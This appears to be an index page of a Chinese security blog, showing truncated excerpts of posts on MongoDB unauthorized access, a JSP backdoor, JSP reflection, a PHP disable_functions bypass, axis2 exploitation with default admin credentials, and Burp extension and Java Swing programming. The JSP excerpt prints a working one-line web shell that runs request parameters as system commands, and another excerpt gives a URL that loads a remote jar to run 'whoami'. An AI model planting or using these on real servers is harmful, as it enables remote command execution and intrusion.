Mongodb未授权访问
Mongodb默认不需要配置auth导致未授权访问问题令人堪忧。 前年的时候写了个Mongodb未授权扫描工具发现了一些企业Mongodb未授权访问问题(测试发现包括一些游戏厂商)，但在数量上还不太严重。 近期Mongodb问题越演越烈，上周对10812个国内IP进行探测时候发现了接近4000个未授权访问IP。 漏洞验证方法： 利用mongo-java-driver-2.12.4.jar Mong...
阅读全文jsp小后门
一：执行系统命令: 无回显执行系统命令： <%Runtime.getRuntime().exec(request.getParameter("i"));%> 请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的: <% if("023".equals(reque...
阅读全文RSyntaxTextArea 在OS X下 css背景渲染速度非常慢的bug
很久就发现了一个RSyntaxTextArea在OS X下加载某些脚本文件的时候非常卡，不知道是什么原因。最近终于忍无可忍了跑去问了下RSyntaxTextArea作者得知这个bug已经在RSyntaxTextArea的最新版修复了。 问题大概发生的情况是：setSyntaxEditingStyle为SYNTAX_STYLE_JSP，然后jsp当中包含了如下css样式字符串如： body {bac...
阅读全文UCanAccess连接Access数据库
Access_JDBC30是跨平台连接access最适合的jar但收费非常的贵，Access_JDBC30的免费版有查询50次、数据小于1000的限制。UCanAccess也提供了数据连接功能，可以比较方便的读写access数据库。UCanAccess自身依赖几个jar包，比如核心的：jackcess-2.0.6.jar ，Jackcess 是一个Java 类库，用来读写微软的Access 数据库...
阅读全文java.text.MessageFormat.format
public class MessageFormat extends Format MessageFormat 提供了以与语言无关方式生成连接消息的方式。使用此方法构造向终端用户显示的消息。 MessageFormat 获取一组对象，格式化这些对象，然后将格式化后的字符串插入到模式中的适当位置。 注：MessageFormat 不同于其他 Format 类，因为 MessageFormat 对象是...
阅读全文JTabbedPane 监听tab选中改变事件
利用的是javax.swing.event.ChangeListener，原文Listening for Selected Tab Changes。实现方式都是callback，不过在实际当中为了方便我选择了自己写callback。 import java.awt.BorderLayout; import javax.swing.JButton; import javax.swing.JFrame...
阅读全文jsp 反射
参数只实现了String和int,Cat.jar http://localhost:8080/cat.jsp?url=http://javaweb.org/Cat.jar&class=Cat&method=exec&methodParameterClass=java.lang.String&parameter=whoami http://localhost:8080...
阅读全文[zone-phith0n]PHP 绕过Disable_functions执行命令
FROM:http://zone.wooyun.org/content/16631 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行： char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看p...
阅读全文BurpSuite 扩展开发[1]-API与HelloWold
0x00 简介 BurpSuite神器这些年非常的受大家欢迎，在国庆期间解了下Burp相关开发并写了这篇笔记。希望和大家分享一下JavaSwing和Burp插件相关开发。第一节仅简单的了解下API相关，后面会带着大家利用Netbeans开发我们自己的扩展以及各种有趣的小工具。 0x01 怎么学？ 第一个问题是我们应该怎么去写自己的Burp扩展？我们可以找一些现有的扩展学习下，或者参阅官方文档或者手...
阅读全文axis2 利用小工具cat.aar
Axis2： Web Service是现在最适合实现SOAP的技术，而Axis2是实现Web Service的一种技术框架（架构）。 昨天把把菜刀脚本打包发现<>在xml会被转义，导致菜刀客户端无法连接。看起来别人可以修改response类型，但是我没成功。利用之前发的Cat小工具打包成aar就可以玩了。 axis2管理登陆默认配置了用户名为admin，密码axis2： axis2管理...
阅读全文